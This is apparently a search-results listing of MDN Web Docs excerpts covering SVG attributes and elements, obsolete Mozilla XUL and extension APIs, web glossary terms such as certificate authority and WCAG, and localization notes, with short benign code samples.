... as a presentation attribute, it can be applied to any element but it has effect only on the following eight elements: <altglyph>, <text>, <textpath>, <tref>, and <tspan> html, body, svg { height: 100%; } <svg viewbox="0 0 200 30" xmlns="http://www.w3.org/2000/svg"> <text y="20" font-weight="normal">normal text</text> <text x="100" y="20" font-weight="bold">bold text</text> </svg> usage notes value normal | bold | bolder | lighter | <number> default value normal animatable yes for a description of the values, please refer to the css font-weight property.
... specifications specification status comment css fonts module level 4the definition of 'font-weight' in that specification.
...And 2 more matches
gradientTransform - SVG: Scalable Vector Graphics
specifications specification status comment css transforms level 1the definition of 'surfacescale for <fespecularlighting>' in that specification.
... scalable vector graphics (svg) 2the definition of 'gradienttransformation for <lineargradient>' in that specification.
... candidate recommendation no change scalable vector graphics (svg) 2the definition of 'gradienttransformation for <radialgradient>' in that specification.
...And 2 more matches
horiz-adv-x - SVG: Scalable Vector Graphics
the horiz-adv-x attribute indicates the horizontal advance after rendering a glyph in horizontal orientation.
... value <number> default value none animatable no <number> this value indicates the horizontal advance of the glyph.
... value <number> default value <font>ʼs horiz-adv-x value animatable no <number> this value indicates the horizontal advance of the glyph.
...And 2 more matches
keySplines - SVG: Scalable Vector Graphics
this attribute is ignored unless the calcmode attribute is set to spline.
... if there are any errors in the keysplines specification (bad values, too many or too few values), the animation will not occur.
... four elements are using this attribute: <animate>, <animatecolor>, <animatemotion>, and <animatetransform> html, body, svg { height: 100%; } <svg viewbox="0 0 120 120" xmlns="http://www.w3.org/2000/svg"> <circle cx="60" cy="10" r="10"> <animate attributename="cx" dur="4s" calcmode="spline" repeatcount="indefinite" values="60 ; 110 ; 60 ; 10 ; 60" keytimes="0 ; 0.25 ; 0.5 ; 0.75 ; 1" keysplines="0.5 0 0.5 1 ; 0.5 0 0.5 1 ; 0.5 0 0.5 1 ; 0.5 0 0.5 1"/> <animate attributename="cy" dur="4s" calcmode="spline" repeatcount="indefinite" values="10 ; 60 ; 110 ; 60 ; 10" keytimes="0 ; 0.25 ; 0.5 ; 0.75 ; 1" keysplines="0.5 0 0.5 1 ; 0.5 0 0.5 1 ; 0.5 0 0.5 1 ; 0.5 0 0.5 1"/> </circle> </svg> usage notes value <control-point> [ ; <co...
...And 2 more matches
maskContentUnits - SVG: Scalable Vector Graphics
the maskcontentunits attribute indicates which coordinate system to use for the contents of the <mask> element.
... value userspaceonuse | objectboundingbox default value userspaceonuse animatable yes userspaceonuse this value indicates that all coordinates inside the <mask> element refer to the user coordinate system as defined when the mask was created.
... objectboundingbox this value indicates that all coordinates inside the <mask> element are relative to the bounding box of the element the mask is applied to.
...And 2 more matches
maskUnits - SVG: Scalable Vector Graphics
the maskunits attribute indicates which coordinate system to use for the geometry properties of the <mask> element.
... value userspaceonuse | objectboundingbox default value objectboundingbox animatable yes userspaceonuse this value indicates that all coordinates for the geometry attributes refer to the user coordinate system as defined when the mask was created.
... objectboundingbox this value indicates that all coordinates for the geometry attributes represent fractions or percentages of the bounding box of the element to which the mask is applied.
...And 2 more matches
orientation - SVG: Scalable Vector Graphics
the orientation attribute indicates that the given glyph is only to be used for a particular text direction, i.e.
... horizontal or vertical.
... only one element is using this attribute: <glyph> usage notes value h | v default value none (meaning glyph can be used for both text directions) animatable yes h this value indicates that the glyph is only used for a horizontal text direction.
...And 2 more matches
paint-order - SVG: Scalable Vector Graphics
note: as a presentation attribute, paint-order can be used as a css property.
... as a presentation attribute, it can be applied to any element but it has effect only on the following ten elements: <circle>, <ellipse>, <line>, <path>, <polygon>, <polyline>, <rect>, <text>, <textpath>, and <tspan> usage notes value normal | [ fill || stroke || markers ] default value normal animatable yes normal this value indicates that the fill will be painted first, then the stroke, and finally the markers.
... [ fill || stroke || markers ] the order of these three keywords indicates the order in which the painting happens, from left to right.
...And 2 more matches
patternContentUnits - SVG: Scalable Vector Graphics
the patterncontentunits attribute indicates which coordinate system to use for the contents of the <pattern> element.
... value userspaceonuse | objectboundingbox default value userspaceonuse animatable yes userspaceonuse this value indicates that all coordinates inside the <pattern> element refer to the user coordinate system as defined when the pattern tile was created.
... objectboundingbox this value indicates that all coordinates inside the <pattern> element are relative to the bounding box of the element the pattern is applied to.
...And 2 more matches
patternUnits - SVG: Scalable Vector Graphics
the patternunits attribute indicates which coordinate system to use for the geometry properties of the <pattern> element.
... value userspaceonuse | objectboundingbox default value objectboundingbox animatable yes userspaceonuse this value indicates that all coordinates for the geometry properties refer to the user coordinate system as defined when the pattern was applied.
... objectboundingbox this value indicates that all coordinates for the geometry properties represent fractions or percentages of the bounding box of the element to which the mask is applied.
...And 2 more matches
pointer-events - SVG: Scalable Vector Graphics
note: as a presentation attribute pointer-events can be used as a css property.
... to change the color of the rect underneath you have to click outside the circle --> <rect x="0" y="0" height="10" width="10" fill="black" /> <circle cx="5" cy="5" r="4" fill="white" pointer-events="visiblepoint" /> <!-- the circle below will never catch a mouse event.
...ow.addeventlistener('mouseup', (e) => { // let's pick a random color between #000000 and #ffffff const color = math.round(math.random() * 0xffffff) // let's format the color to fit css requirements const fill = '#' + color.tostring(16).padstart(6,'0') // let's apply our color in the // element we actually clicked on e.target.style.fill = fill }) as a presentation attribute, it can be applied to any element but it is mostly relevant only on the following twenty-three elements: <a>, <circle>, <clippath>, <defs>, <ellipse>, <foreignobject>, <g>, <image>, <line>, <marker>, <mask>, <path>, <pattern>, <polygon>, <polyline>, <rect>, <svg>, <switch>, <symbol>, <text>, <textpath>, <tspan>, <use> usage notes value bounding-box | visiblepainted | visiblefill | visibles...
...And 2 more matches
repeatCount - SVG: Scalable Vector Graphics
the repeatcount attribute indicates the number of times an animation will take place.
...it can include partial iterations expressed as fraction values.
... indefinite this value indicates that the animation will be repeated indefinitely (i.e.
...And 2 more matches
result - SVG: Scalable Vector Graphics
WebSVGAttributeresult
if supplied, then graphics that result from processing this filter primitive can be referenced by an in attribute on a subsequent filter primitive within the same <filter> element.
... <femerge>, <femorphology>, <feoffset>, <fespecularlighting>, <fetile>, and <feturbulence> html, body, svg { height: 100%; } <svg viewbox="0 0 220 220" xmlns="http://www.w3.org/2000/svg"> <filter id="displacementfilter"> <feturbulence type="turbulence" basefrequency="0.05" numoctaves="2" result="turbulence"/> <fedisplacementmap in2="turbulence" in="sourcegraphic" scale="50" xchannelselector="r" ychannelselector="g"/> </filter> <circle cx="100" cy="100" r="100" style="filter: url(#displacementfilter)"/> </svg> usage notes value <filter-primitive-reference> default value none animatable yes <filter-primitive-reference> this value is a <custom-ident> and defines the name for the filter primitive.
... it is only meaningful within a given <filter> element and thus has only local scope.
...And 2 more matches
rx - SVG: Scalable Vector Graphics
WebSVGAttributerx
value <length> | <percentage> | auto default value auto animatable yes note: starting with svg2, rx is a geometry property meaning this attribute can also be used as a css property for ellipses.
... value <length> | <percentage> | auto default value auto animatable yes note: starting with svg2, rx is a geometry property meaning this attribute can also be used as a css property for rects.
... specifications specification status comment scalable vector graphics (svg) 2the definition of 'rx' in that specification.
...And 2 more matches
ry - SVG: Scalable Vector Graphics
WebSVGAttributery
value <length> | <percentage> | auto default value auto animatable yes note: starting with svg2, ry is a geometry property meaning this attribute can also be used as a css property for ellipses.
... value <length> | <percentage> | auto default value auto animatable yes note: starting with svg2, ry is a geometry property meaning this attribute can also be used as a css property for rects.
... specifications specification status comment scalable vector graphics (svg) 2the definition of 'ry' in that specification.
...And 2 more matches
spacing - SVG: Scalable Vector Graphics
WebSVGAttributespacing
the spacing attribute indicates how the user agent should determine the spacing between typographic characters that are to be rendered along a path.
... only one element is using this attribute: <textpath> usage notes value auto | exact default value exact animatable yes auto this value indicates that the user agent should use text-on-a-path layout algorithms to adjust the spacing between typographic characters in order to achieve visually appealing results.
... exact this value indicates that the typographic characters should be rendered exactly according to the spacing rules as specified by the layout rules for text-on-a-path.
...And 2 more matches
stemv - SVG: Scalable Vector Graphics
WebSVGAttributestemv
the stemv attribute indicates the vertical stem width of the font.
... the vertical stem width is the width of vertical (or near-vertical) stems of glyphs.
...the measurement is meant for the dominant vertical stem in the font because there might be different groupings of vertical stems (e.g., one main one, and one lighter weight one as for an uppercase "m" or "n").
...And 2 more matches
stroke - SVG: Scalable Vector Graphics
WebSVGAttributestroke
the stroke attribute is a presentation attribute defining the color (or any svg paint servers like gradients or patterns) used to paint the outline of the shape; note: as a presentation attribute stroke can be used as a css property.
... as a presentation attribute, it can be applied to any element but it has effect only on the following twelve elements: <altglyph>, <circle>, <ellipse>, <line>, <path>, <polygon>, <polyline>, <rect>, <text>, <textpath>, <tref>, and <tspan> html,body,svg { height:100% } <svg viewbox="0 0 20 10" xmlns="http://www.w3.org/2000/svg"> <!-- simple color stroke --> <circle cx="5" cy="5" r="4" fill="none" stroke="green" /> <!-- stroke a circle with a gradient --> <defs> <lineargradient id="mygradient"> <stop offset="0%" stop-color="green" /> <stop offset="100%" stop-color="white" /> </lineargradient> </defs> <circle cx="15" cy="5" r="4" fill="none" stroke="url(#mygradient)" /> </svg> usage notes value <paint> d...
...efault value none animatable yes specifications specification status comment scalable vector graphics (svg) 2the definition of 'stroke' in that specification.
...And 2 more matches
to - SVG: Scalable Vector Graphics
WebSVGAttributeto
the to attribute indicates the final value of the attribute that will be modified during the animation.
... specifications specification status comment svg animations level 2the definition of 'to for <set>' in that specification.
... editor's draft no change svg animations level 2the definition of 'to for <animate>, <animatecolor>, <animatemotion>, and <animatetransform>' in that specification.
...And 2 more matches
transform-origin - SVG: Scalable Vector Graphics
note: as a presentation attribute in svg, transform-origin corresponds in syntax and behavior to the transform-origin property in css, and can be used as css property to style svg.
... if two or more values are defined and either no value is a keyword, or the only used keyword is center, then the first value represents the horizontal offset and the second represents the vertical offset.
... specifications specification status comment css transforms level 1the definition of 'transform-origin' in that specification.
...And 2 more matches
values - SVG: Scalable Vector Graphics
WebSVGAttributevalues
for type="luminancetoalpha", values is not applicable.
... specifications specification status comment filter effects module level 1the definition of 'values for <fecolormatrix>' in that specification.
... working draft no change svg animations level 2the definition of 'values for <animate>, <animatecolor>, <animatemotion>, and <animatetransform>' in that specification.
...And 2 more matches
vert-adv-y - SVG: Scalable Vector Graphics
the vert-adv-y attribute indicates the vertical advance after rendering a glyph in vertical orientation.
... three elements are using this attribute: <font>, <glyph>, and <missing-glyph> font for <font> elements, vert-adv-y specifies the default vertical advance for a glyph in vertical orientation.
... value <number> default value 1 em as of units-per-em animatable no <number> this value indicates the default vertical advance of the glyph in vertical direction glyph, missing-glyph for <glyph> and <missing-glyph> elements, vert-adv-y specifies the vertical advance for a glyph in vertical orientation.
...And 2 more matches
xlink:show - SVG: Scalable Vector Graphics
the xlink:show attribute indicates how a linked resource should be opened and is meant for xlink-aware processors.
... in case of a conflict, the target attribute has priority, since it can express a wider range of values.
... other this value indicates that other markup present in the link, i.e.
...And 2 more matches
xml:lang - SVG: Scalable Vector Graphics
the syntax of this value is defined in the bcp 47 specification.
... the most common syntax is a value formed by a lowercase two-character part for the language and an uppercase two-character part for the region or country, separated by a minus sign, e.g.
... specifications specification status comment scalable vector graphics (svg) 2the definition of 'xml:lang' in that specification.
...And 2 more matches
<animate> - SVG: Scalable Vector Graphics
WebSVGElementanimate
g { height:100%; margin:0; padding:0; } <svg viewbox="0 0 10 10" xmlns="http://www.w3.org/2000/svg"> <rect width="10" height="10"> <animate attributename="rx" values="0;5;0" dur="10s" repeatcount="indefinite" /> </rect> </svg> attributes animation attributes animation timing attributes begin, dur, end, min, max, restart, repeatcount, repeatdur, fill animation value attributes calcmode, values, keytimes, keysplines, from, to, by other animation attributes most notably: attributename, additive, accumulate animation event attributes most notably: onbegin, onend, onrepeat global attributes core attributes most notably: id styling attributes class, style event attributes global event attributes, document element event attributes usage notes this element imple...
... accessibility concerns blinking and flashing animation can be problematic for people with cognitive concerns such as attention deficit hyperactivity disorder (adhd).
... additionally, certain kinds of motion can be a trigger for vestibular disorders, epilepsy, and migraine and scotopic sensitivity.
...And 2 more matches
<ellipse> - SVG: Scalable Vector Graphics
WebSVGElementellipse
note: ellipses are unable to specify the exact orientation of the ellipse (if, for example, you wanted to draw an ellipse tilted at a 45 degree angle), but it can be rotated by using the transform attribute.
... value type: <number> ; default value: none; animatable: yes note: starting with svg2 cx, cy, rx and ry are geometry properties, meaning those attributes can also be used as css properties for that element.
... global attributes core attributes most notably: id, tabindex styling attributes class, style conditional processing attributes most notably: requiredextensions, systemlanguage event attributes global event attributes, graphical event attributes presentation attributes most notably: clip-path, clip-rule, color, color-interpolation, color-rendering, cursor, display, fill, fill-opacity, fill-rule, filter, mask, opacity, pointer-events, shape-rendering, stroke, stroke-dasharray, stroke-dashoffset, stroke-linecap, stroke-linejoin, stroke-miterlimit, stroke-opacity, stroke-width, transform, vector-effect, visibility aria attributes aria-activedescendant, aria-atomic, aria-autocomplete, aria-busy, aria-checked, aria-colcount, aria-colindex, aria-colspan, aria-controls, aria-current...
...And 2 more matches
<foreignObject> - SVG: Scalable Vector Graphics
html,body,svg { height:100% } <svg viewbox="0 0 200 200" xmlns="http://www.w3.org/2000/svg"> <style> div { color: white; font: 18px serif; height: 100%; overflow: auto; } </style> <polygon points="5,5 195,10 185,185 10,195" /> <!-- common use case: embed html text into svg --> <foreignobject x="20" y="20" width="160" height="160"> <!-- in the context of svg embedded in an html document, the xhtml namespace could be omitted, but it is mandatory in the context of an svg document --> <div xmlns="http://www.w3.org/1999/xhtml"> lorem ipsum dolor sit amet, consectetur adipiscing elit.
... value type: <length>|<percentage> ; default value: 0; animatable: yes note: starting with svg2, x, y, width, and height are geometry properties, meaning those attributes can also be used as css properties for that element.
... global attributes core attributes most notably: id, tabindex styling attributes class, style conditional processing attributes most notably: requiredextensions, systemlanguage event attributes global event attributes, graphical event attributes, document event attributes, document element event attributes presentation attributes most notably: clip-path, clip-rule, color, color-interpolation, color-rendering, cursor, display, fill, fill-opacity, fill-rule, filter, mask, opacity, pointer-events, shape-rendering, stroke, stroke-dasharray, stroke-dashoffset, stroke-linecap, stroke-linejoin, stroke-miterlimit, stroke-opacity, stroke-width, transform, vector-effect, visibility aria attributes aria-activedescendant, aria-atomic, aria-autocomplete, aria-busy, aria-checked, aria-colc...
...And 2 more matches
<g> - SVG: Scalable Vector Graphics
WebSVGElementg
it can also group multiple elements to be referenced later with the <use> element.
...ke-width="5"> <circle cx="40" cy="40" r="25" /> <circle cx="60" cy="60" r="25" /> </g> </svg> attributes this element only includes global attributes global attributes core attributes most notably: id, tabindex styling attributes class, style conditional processing attributes most notably: requiredextensions, systemlanguage event attributes global event attributes, graphical event attributes presentation attributes most notably: clip-path, clip-rule, color, color-interpolation, color-rendering, cursor, display, fill, fill-opacity, fill-rule, filter, mask, opacity, pointer-events, shape-rendering, stroke, stroke-dasharray, stroke-dashoffset, stroke-linecap, stroke-linejoin, stroke-miterlimit, stroke-opacity, stroke-width, transform, vector-effect, visibility aria ...
..., aria-labelledby, aria-level, aria-live, aria-modal, aria-multiline, aria-multiselectable, aria-orientation, aria-owns, aria-placeholder, aria-posinset, aria-pressed, aria-readonly, aria-relevant, aria-required, aria-roledescription, aria-rowcount, aria-rowindex, aria-rowspan, aria-selected, aria-setsize, aria-sort, aria-valuemax, aria-valuemin, aria-valuenow, aria-valuetext, role usage notes categoriescontainer element, structural elementpermitted contentany number of the following elements, in any order:animation elementsdescriptive elementsshape elementsstructural elementsgradient elements<a>, <altglyphdef>, <clippath>, <color-profile>, <cursor>, <filter>, <font>, <font-face>, <foreignobject>, <image>, <marker>, <mask>, <pattern>, <script>, <style>, <switch>, <text>, <view> specifica...
...And 2 more matches
<marker> - SVG: Scalable Vector Graphics
WebSVGElementmarker
id, tabindex styling attributes class, style conditional processing attributes most notably: requiredextensions, systemlanguage presentation attributes most notably: clip-path, clip-rule, color, color-interpolation, color-rendering, cursor, display, fill, fill-opacity, fill-rule, filter, mask, opacity, pointer-events, shape-rendering, stroke, stroke-dasharray, stroke-dashoffset, stroke-linecap, stroke-linejoin, stroke-miterlimit, stroke-opacity, stroke-width, transform, vector-effect, visibility aria attributes aria-activedescendant, aria-atomic, aria-autocomplete, aria-busy, aria-checked, aria-colcount, aria-colindex, aria-colspan, aria-controls, aria-current, aria-describedby, aria-details, aria-disabled, aria-dropeffect, aria-errormessage, aria-expanded, aria-flowto, aria-grabbed...
..., aria-labelledby, aria-level, aria-live, aria-modal, aria-multiline, aria-multiselectable, aria-orientation, aria-owns, aria-placeholder, aria-posinset, aria-pressed, aria-readonly, aria-relevant, aria-required, aria-roledescription, aria-rowcount, aria-rowindex, aria-rowspan, aria-selected, aria-setsize, aria-sort, aria-valuemax, aria-valuemin, aria-valuenow, aria-valuetext, role usage notes categoriescontainer elementpermitted contentany number of the following elements, in any order:animation elementsdescriptive elementsshape elementsstructural elementsgradient elements<a>, <altglyphdef>, <clippath>, <color-profile>, <cursor>, <filter>, <font>, <font-face>, <foreignobject>, <image>, <marker>, <mask>, <pattern>, <script>, <style>, <switch>, <text>, <view> specifications spec...
...ification status comment svg markersthe definition of '<marker>' in that specification.
...And 2 more matches
<path> - SVG: Scalable Vector Graphics
WebSVGElementpath
all the basic shapes can be created with a path element.
... value type: <number> ; default value: none; animatable: yes global attributes core attributes most notably: id, tabindex styling attributes class, style conditional processing attributes most notably: requiredextensions, systemlanguage event attributes global event attributes, graphical event attributes presentation attributes most notably: clip-path, clip-rule, color, color-interpolation, color-rendering, cursor, display, fill, fill-opacity, fill-rule, filter, mask, opacity, pointer-events, shape-rendering, stroke, stroke-dasharray, stroke-dashoffset, stroke-linecap, stroke-linejoin, stroke-miterlimit, stroke-opacity, stroke-width, transform, vector-effect, visibility aria ...
..., aria-labelledby, aria-level, aria-live, aria-modal, aria-multiline, aria-multiselectable, aria-orientation, aria-owns, aria-placeholder, aria-posinset, aria-pressed, aria-readonly, aria-relevant, aria-required, aria-roledescription, aria-rowcount, aria-rowindex, aria-rowspan, aria-selected, aria-setsize, aria-sort, aria-valuemax, aria-valuemin, aria-valuenow, aria-valuetext, role usage notes categoriesgraphics element, shape elementpermitted contentany number of the following elements, in any order:animation elementsdescriptive elements specifications specification status comment svg pathsthe definition of '<path>' in that specification.
...And 2 more matches
<pattern> - SVG: Scalable Vector Graphics
WebSVGElementpattern
the <pattern> element defines a graphics object which can be redrawn at repeated x- and y-coordinate intervals ("tiled") to cover an area.
... value type: <length>|<percentage> ; default value: 0; animatable: yes xlink:href deprecated since svg 2 this attribute reference a template pattern that provides default values for the <pattern> attributes.
... id, tabindex styling attributes class, style conditional processing attributes most notably: requiredextensions, systemlanguage presentation attributes most notably: clip-path, clip-rule, color, color-interpolation, color-rendering, cursor, display, fill, fill-opacity, fill-rule, filter, mask, opacity, pointer-events, shape-rendering, stroke, stroke-dasharray, stroke-dashoffset, stroke-linecap, stroke-linejoin, stroke-miterlimit, stroke-opacity, stroke-width, transform, vector-effect, visibility xlink attributes most notably: xlink:title usage notes categoriescontainer elementpermitted contentany number of the following elements, in any order:animation elementsdescriptive elementsshape elementsstructural elementsgradient elements<a>, <altglyphdef>, <clippath>, <color-profile>, <c...
...And 2 more matches
<rect> - SVG: Scalable Vector Graphics
WebSVGElementrect
value type: auto|<length>|<percentage> ; default value: auto; animatable: yes ry the vertical corner radius of the rect.
... value type: <number> ; default value: none; animatable: yes note: starting with svg2, x, y, width, height, rx and ry are geometry properties, meaning those attributes can also be used as css properties for that element.
... global attributes core attributes most notably: id, tabindex styling attributes class, style conditional processing attributes most notably: requiredextensions, systemlanguage event attributes global event attributes, graphical event attributes presentation attributes most notably: clip-path, clip-rule, color, color-interpolation, color-rendering, cursor, display, fill, fill-opacity, fill-rule, filter, mask, opacity, pointer-events, shape-rendering, stroke, stroke-dasharray, stroke-dashoffset, stroke-linecap, stroke-linejoin, stroke-miterlimit, stroke-opacity, stroke-width, transform, vector-effect, visibility aria attributes aria-activedescendant, aria-atomic, aria-autocomplete, aria-busy, aria-checked, aria-colcount, aria-colindex, aria-colspan, aria-controls, aria-current...
...And 2 more matches
SVG animation with SMIL - SVG: Scalable Vector Graphics
although chrome 45 deprecated smil in favor of css animations and web animations, the chrome developers have since suspended that deprecation.
...this new element is necessary because we are not animating a simple attribute like x which is just a number.
...you can set the attribute to define whether the object rotates following the tangent of the path.
...And 2 more matches
Filter effects - SVG: Scalable Vector Graphics
drop shadows, to provide a popular example, cannot be created reasonably with a combination of gradients.
... filters are svg's mechanism to create sophisticated effects.
...while basic blurs can be achieved with the help of gradients, the blur filter is needed to do anything beyond.
...And 2 more matches
SVG In HTML Introduction - SVG: Scalable Vector Graphics
it shows how javascript and css can be used to manipulate the picture in the same way you would script regular html.
...rule makes an error message appear.) this approach has the following points in its favor: we have taken a regular html form that could have been part of an existing web site, and added an attractive, interactive background the approach is backwards compatible to browsers that do not support svg; simply, no background appears in them it's very simple and performs very well the picture dynamically sizes itself to the required size in an intelligent way we can have declarative style rules applying to both html and svg the same script manipulates both html and svg the document is entirely standards-based to add a linked image with dom methods to an embedded svg element, one has to use setattributens to set href.
... like in the following example: var img = document.createelementns("http://www.w3.org/2000/svg", "image"); img.setattributens("http://www.w3.org/1999/xlink", "xlink:href", "move.png"); details the viewbox attribute establishes a logical coordinate system which the svg picture's coordinates are relative to.
...And 2 more matches
Alerts and Notifications - Archive of obsolete content
basic modal alert alert('hello'); pop-ups the following code presents a non-modal pop-up, which automatically disappears after an appropriate delay.
...this works on windows, linux and (if growl is installed) mac os x: function popup(title, text) { try { components.classes['@mozilla.org/alerts-service;1'] .getservice(components.interfaces.nsialertsservice) .showalertnotification(null, title, text, false, '', null); } catch(e) { // prevents runtime error on platforms that don't implement nsialertsservice } } if you need to display a comparable alert on a platform that doesn't support nsialertsservice, you can do this: function popup(title, msg) { var image = null; var win = components.classes['@mozilla.org/embedcomp/window-watcher;1'] .getservice(components.interfaces.nsiwindowwatcher) .openwindow(null, 'chrome://global/co...
...ntent/alerts/alert.xul', '_blank', 'chrome,titlebar=no,popup=yes', null); win.arguments = [image, title, msg, false, '']; } using notification box another way of non-modal notification and further interaction with users is using of xul elements notificationbox and notification (implicitly).
... var message = 'another pop-up blocked'; var box = gbrowser.getnotificationbox(); var notification = box.getnotificationwithvalue('popup-blocked'); if (notification) { notification.label = message; } else { var buttons = [{ label: 'button', accesskey: 'b', popup: 'blockedpopupoptions', callback: null }]; let priority = box.priority_warning_medium; box.appendnotification(message, 'popup-blocked', 'chrome://browser/skin/info.png', priority, buttons); } ...
Automatically Handle Failed Asserts in Debug Builds - Archive of obsolete content
as of 2004-12-8, it is now possible to automatically handle failed asserts in debug builds of mozilla for windows.
...the valid values are: 0x5 automatically ignore 0x4 automatically retry 0x3 automatically abort note that you can also force windbgdlg to prompt, by setting a value of 0xfffffffe.
...rtion: no document: 'mdocument != nsnull', file d:/cvs-1.11.4/mozilla/content/xul/content/src/nsxulelement.cpp, line 3173 (note that i have my source tree in d:/cvs-1.11.4/mozilla) if you have a dword in hkcu\software\mozilla.org\windbgdlg\ named "d:/cvs-1.11.5/mozilla/content/xul/content/src/nsxulelement.cpp," (with the comma - matches are whole-word only) and value 0x5, the assert would automatically be ignored.
... if you also had a dword named "3173", it would have no effect here because the handler stops comparing values at the first match.
Notifications - Archive of obsolete content
the notification box appears at the bottom right corner of the browser and displays important information to the user.
... the namespace for this class is jetpack.notifications.
... methods show(titlestring, [body as string] iconstring)draws a notification box.
... titlethe head of the notification message.string bodythe message itself.stringfalse iconthe url of an .ico file.string jetpack.notifications.show("hello world"); var mybody = " my first message body on jetpack"; var myicon = "http://www.mozilla.com/favicon.ico"; jetpack.notifications.show({title: "my first message on jetpack", body: mybody, icon: myicon}); ...
cancelInstall - Archive of obsolete content
method of install object syntax void cancelinstall() void cancelinstall( int errorcode ) parameters none.
...the optional argument is an error code that can be returned to the triggering page.
...but a script can, in fact, return any valid integer.
...err = getlasterror(); if (!err) performinstall(); else cancelinstall(err); ...
notification.type - Archive of obsolete content
« xul reference home type type: one of the values below indicates the type of notification, determined from the priority.
... info a notification that is of lesser importance.
... warning a normal warning notification.
... critical a critical notification.
Building Hierarchical Trees - Archive of obsolete content
« previousnext » a template may be used to generate hierarchical trees.
...if the items are containers, the tree builder will mark the right rows as containers, so that they can be opened and closed with the small icon twisties on the left of the column.
...if you want to put rows inside the photo rows, you will either need to make each photo resource a container (for this rdf datasource, this will usually be an rdf seq), or use the containment attribute to specify additional properties that indicate containership.
...w.xulplanet.com/rdf/floors"/> </treerow> </treeitem> </treechildren> </rule> <rule> <treechildren> <treeitem uri="rdf:*"> <treerow> <treecell label="rdf:http://purl.org/dc/elements/1.1/title"/> </treerow> </treeitem> </treechildren> </rule> </template> </tree> the first rule is for the houses as indicated by the rule's condition and the second rule is for the streets.
calIFileType - Archive of obsolete content
summary the califiletype interface provides information about a specific file type.
... califiletype is used in caliimporter and caliexporter to determine which file types are supported for import/export.
...defined in calendar/base/public/caliimportexport.idl interface code [scriptable, uuid(efef8333-e995-4f45-bdf7-bfcabbd9793e)] interface califiletype : nsisupports { readonly attribute astring defaultextension; readonly attribute astring extensionfilter; readonly attribute astring description; }; attributes defaultextension the default extension that should be associated with files of this type.
...related interfaces caliimporter caliexporter example code see calhtmlexport.js.
arguments.caller - Archive of obsolete content
the obsolete arguments.caller property used to provide the function that invoked the currently executing function.
... description this property is not available anymore, but you can still use function.caller.
... function whocalled() { if (whocalled.caller == null) console.log('i was called from the global scope.'); else console.log(whocalled.caller + ' called me!'); } examples the following code was used to check the value of arguments.caller in a function, but doesn't work anymore.
... function whocalled() { if (arguments.caller == null) console.log('i was called from the global scope.'); else console.log(arguments.caller + ' called me!'); } specifications not part of any standard.
Card sorting - MDN Web Docs Glossary: Definitions of Web-related terms
card sorting is a simple technique used in information architecture whereby people involved in the design of a website (or other type of product) are invited to write down the content / services / features they feel the product should contain, and then organize those features into categories or groupings.
... this can be used for example to work out what should go on each page of a website.
... the name comes from the fact that often card sorting is carried out by literally writing the items to sort onto cards, and then arranging the cards into piles.
... learn more general knowledge card sorting on wikipedia ...
Certificate authority - MDN Web Docs Glossary: Definitions of Web-related terms
a certificate authority (ca) is an organization that signs digital certificates and their associated public keys.
... this certifies that an organization that requested a digital certificate (e.g., mozilla corporation) is authorized to request a certificate for the subject named in the certificate (e.g., mozilla.org).
... web browsers come preloaded with a list of certificate authorities trusted to issue digital certificates.
... learn more certificate authority on wikipedia mozilla included ca certificate list ...
Digital certificate - MDN Web Docs Glossary: Definitions of Web-related terms
a digital certificate is a data file that binds a publicly known cryptographic key to an organization.
... a digital certificate contains information about an organization, such as the common name (e.g., mozilla.org), the organization unit (e.g., mozilla corporation), and the location (e.g., mountain view).
... digital certificates are most commonly signed by a certificate authority, attesting to the certificate's authenticity.
... learn more digital certificate on wikipedia ...
Locale - MDN Web Docs Glossary: Definitions of Web-related terms
locale is a set of language- or country-based preferences for a user interface.
... a program draws its locale settings from the language of the host system.
... among other things, locales represent paper format, currency, date format, and numbers according to the protocols in the given region.
... learn more general knowledge locale on wikipedia ...
WCAG - MDN Web Docs Glossary: Definitions of Web-related terms
web content accessibility guidelines (wcag) are a recommendation published by the web accessibility initiative group at the w3c.
... wcag 2.0 which superseded wcag 1.0 was published as a w3c recommendation on 11 december 2008.
... wcag uses three levels of conformance: priority 1: web developers must satisfy these requirements, otherwise it will be impossible for one or more groups to access the web content.
... learn more general knowledge wcag on wikipedia technical knowledge accessibility information on mdn the wcag 2.0 recommendation at the w3c ...
Application Context - MDN Web Docs Glossary: Definitions of Web-related terms
an application context is a top-level browsing context that has a manifest applied to it.
... if an application context is created as a result of the user agent being asked to navigate to a deep link, the user agent must immediately navigate to the deep link with replacement enabled.
... otherwise, when the application context is created, the user agent must immediately navigate to the start url with replacement enabled.
... please note that the start url is not necessarily the value of the start_url member: the user or user agent could have changed it when the application was added to home-screen or otherwise bookmarked.
minification - MDN Web Docs Glossary: Definitions of Web-related terms
minification is the process of removing unnecessary or redundant data without affecting how a resource is processed by the browser.
... minification can include the removal of code comments, white space, and unused code, as well as the shortening of variable and function names.
... minification is used to improve web performance by reducing file size.
... as minification makes code less legible to humans, developer tools have 'prettification' features that can add white space back into the code to make it a bit more legible.
HTMLIFrameElement.getCanGoBack()
the getcangoback() method of the htmliframeelement interface is used to indicate whether it's possible to go back in the navigation history of the browser <iframe>.
... syntax instanceofhtmliframeelement.getcangoback() .then(function(result) { ...
... }); returns a promise that resolves with a boolean that equals true if the history can be navigated backward or false if not.
... example function canmovebwd() { browser.getcangoback().then(function(result) { if (result) { back.disabled = false; console.log("it's possible to navigate the history backward."); } else { back.disabled = true; console.log("it's not possible to navigate the history backward."); } }); } specification not part of any specification.
HTMLIFrameElement.getCanGoForward()
the getcangoforward() method of the htmliframeelement is used to indicate whether it's possible to go forward in the navigation history of the browser <iframe>.
... syntax instanceofhtmliframeelement.getcangoforward() .then(function(result) { ...
... }); returns a promise that resolves with a boolean that equals true if the history can be navigated forward or false if not.
... example function canmovefwd() { browser.getcangoforward().then(function(result) { if (result) { fwd.disabled = false; console.log("it's possible to navigate the history forward."); } else { fwd.disabled = true; console.log("it's not possible to navigate the history forward."); } }); } specification not part of any specification.
smartcard-remove
the smartcard-remove event is fired when the removal of a smart card has been detected.
... specification mozilla specific interface event bubbles no cancelable no target document default action none properties property type description targetread only eventtarget the event target (the topmost target in the dom tree).
... cancelableread only boolean whether the event is cancellable or not.
... example document.addeventlistener("smartcard-remove", smartcardchangehandler ); related events smartcard-insert ...
Localization: Frequently asked questions
for more detailed documentation about localization in general, see our localization page.
... do you really want to preserve whitespace or are you looking for a no-break space, you can add that via a &ua0; or \ua0 to dtd and properties files, resp.
... how can i not display a variable in a .properties entry?
... you can simply format the value to be of zero width, i.e., use %1$0.s ...
Localization notes
localizers usually work on the localizable files without the context of the source files including the localized strings; it is important to add comments to the localizable files themselves, too.
... these comments are generally referred to as localization notes.
